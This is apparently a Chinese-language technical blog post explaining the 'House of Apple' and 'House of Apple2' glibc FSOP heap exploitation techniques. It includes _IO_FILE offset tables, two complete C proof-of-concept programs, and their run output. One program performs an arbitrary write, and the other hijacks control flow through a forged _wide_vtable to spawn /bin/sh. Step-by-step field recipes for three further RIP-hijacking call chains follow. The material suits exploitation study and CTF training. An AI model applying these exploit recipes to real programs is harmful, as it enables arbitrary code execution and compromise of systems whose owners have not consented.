0%

House Of Apple-原理

House Of Apple

House Of Apple 可以在仅使用一次 largebin attack 并限制读写次数的条件下进行 FSOP 利用

此方法利用成功的前提是已经泄露出 libc_base 地址和 heap_base 地址


House Of Apple 原理

当程序从 main 函数返回或者执行 exit 函数的时候,均会调用 fcloseall 函数,该调用链为:

1
exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wstrn_overflow
  • 最后会遍历 _IO_list_all 存放的每一个 IO_FILE 结构体
  • 如果满足条件的话,会调用每个结构体中 vtable->_overflow 函数指针指向的函数

使用 largebin attack 可以劫持 _IO_list_all 变量,将其替换为伪造的 IO_FILE 结构体,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值

要想修改其他地方的值,就离不开 _IO_FILE 的一个成员 _wide_data 的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

我们在伪造 _IO_FILE 结构体的时候,伪造 _wide_data 变量,然后通过某些函数,比如 _IO_wstrn_overflow 就可以将已知地址空间上的某些值修改为一个已知值

House Of Apple 利用姿势

使用 house of apple 的条件为:

  • 程序从 main 函数返回或能调用 exit 函数
  • 能泄露出 libc_base 地址和 heap_base 地址
  • 能使用一次 largebin attack(一次即可)

先利用 largebin attack 劫持 _IO_list_all,然后伪造一个 stderr IO_FILE

  • stderr+0x28 = -1(stderr->_IO_write_ptr)
  • stderr+0x74 = 8(stderr->_flags2)
  • stderr+0xa0 = target(stderr->_wide_data)
  • stderr+0xd8 == _IO_wstrn_jumps(stderr->vtable)

最后调用 exit 完成修改(因为 stderr IO_FILE 被伪造,因此程序不会真的退出)

使用案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr = puts_addr + 0x1691a0;
size_t stderr_write_ptr_addr = stderr + 0x28;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = stderr + 0x74;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = stderr + 0xa0;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = stderr + 0xd8;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = stderr - 0x4960;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;

puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;

puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;

puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
exp ./test
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55a85a8bc2a0]: 0x1122334455667788 0x1122334455667788
[0x55a85a8bc2b0]: 0x1122334455667788 0x1122334455667788
[0x55a85a8bc2c0]: 0x1122334455667788 0x1122334455667788
[0x55a85a8bc2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f6c95c1c420
[*] stderr->_IO_write_ptr address: 0x7f6c95d855e8
[*] stderr->_flags2 address: 0x7f6c95d85634
[*] stderr->_wide_data address: 0x7f6c95d85660
[*] stderr->vtable address: 0x7f6c95d85698
[*] _IO_wstrn_jumps address: 0x7f6c95d80c60
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55a85a8bc2a0]: 0x00007f6c95d856b0 0x00007f6c95d857b0
[0x55a85a8bc2b0]: 0x00007f6c95d856b0 0x00007f6c95d856b0
[0x55a85a8bc2c0]: 0x00007f6c95d856b0 0x00007f6c95d856b0
[0x55a85a8bc2d0]: 0x00007f6c95d856b0 0x00007f6c95d857b0
===========================new value=======================
  • 成功对堆上的数据进行了修改

上面这种用法只能实现已知地址任意写(和 largebin attack 的效果类似),下面这种利用方式可以直接劫持程序流程(称为 house of apple2)

House Of Apple2 原理

stdin/stdout/stderr 这三个 _IO_FILE 结构体会以 _IO_file_jumps 为虚表,而其中的函数 IO_validate_vtable 负责检查 vtable 的合法性

但在调用虚表 _wide_vtable 里面的函数时,并没有检查 vtable 的合法性

因此,我们可以劫持 IO_FILEvtable_IO_wfile_jumps,控制 _wide_data 为可控的堆地址空间,进而控制 _wide_data->_wide_vtable 为可控的堆地址空间,然后控制程序的执行流:

1
_IO_wdefault_xsgetn -> _IO_switch_to_wget_mode -> backdoor

House Of Apple2 利用姿势

使用 house of apple2 的条件为:

  • 能泄露出 libc_base 地址和 heap_base 地址
  • 能控制程序执行IO操作:
    • main 函数返回
    • 调用 exit 函数
    • 通过 __malloc_assert 触发
  • 能控制 _IO_FILEvtable_wide_data(一般使用 largebin attack去控制)

使用案例如下:(使用 _IO_wdefault_xsgetn 调用链)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
system("/bin/sh");
}

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);

char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);

size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;

puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;

puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;

puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;

puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;

puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;

puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
exp ./test 
[*] allocate two 0x200 chunks
[*] puts address: 0x7fe29386f420
[*] libc base address: 0x7fe2937eb000
[*] _IO_2_1_stderr_ address: 0x7fe2939d85c0
[*] _IO_wstrn_jumps address: 0x7fe2939d3c60
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
$ whoami
yhellow

下面给出几条好用的调用链及其利用方式:

利用 _IO_wfile_overflow 函数控制程序执行流

1
_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • _flags = ~(2 | 0x8 | 0x800)
  • vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)
  • _wide_data = 可控堆地址A(即满足 *(fp+0xa0)=A
  • _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0
  • _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足 *(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足 *(B+0x68)=C

利用 _IO_wfile_underflow_mmap 函数控制程序执行流

1
_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • _flags = ~4
  • vtable 设置为 _IO_wfile_jumps_mmap 地址(加减偏移)
  • _IO_read_end > _IO_read_ptr(不进入调用)
  • _wide_data 设置为可控堆地址 A(即满足*(fp+0xa0)=A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end(即满足*A>=*(A+8)
  • _wide_data->_IO_buf_base = 0(即满足*(A+0x30)=0
  • _wide_data->_IO_save_base = 0(即满足*(A+0x40)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足*(B+0x68)=C
  • PS:这条链执行的条件是调用到 _IO_wdefault_xsgetnRDX 寄存器不能为“0”

利用 _IO_wdefault_xsgetn 函数控制程序执行流

1
_IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)
  • _flags = 0x800
  • vtable = _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps 地址(加减偏移)
  • _mode > 0(即满足*(fp+0xc0)>0
  • _wide_data = 可控堆地址A(即满足*(fp+0xa0)=A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr = 0(即满足 *(A+8)=*A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base(即满足*(A+0x20)>*(A+0x18)
  • _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B
  • _wide_data->_wide_vtable->overflow = 地址C,用于劫持RIP(即满足*(B+0x18)=C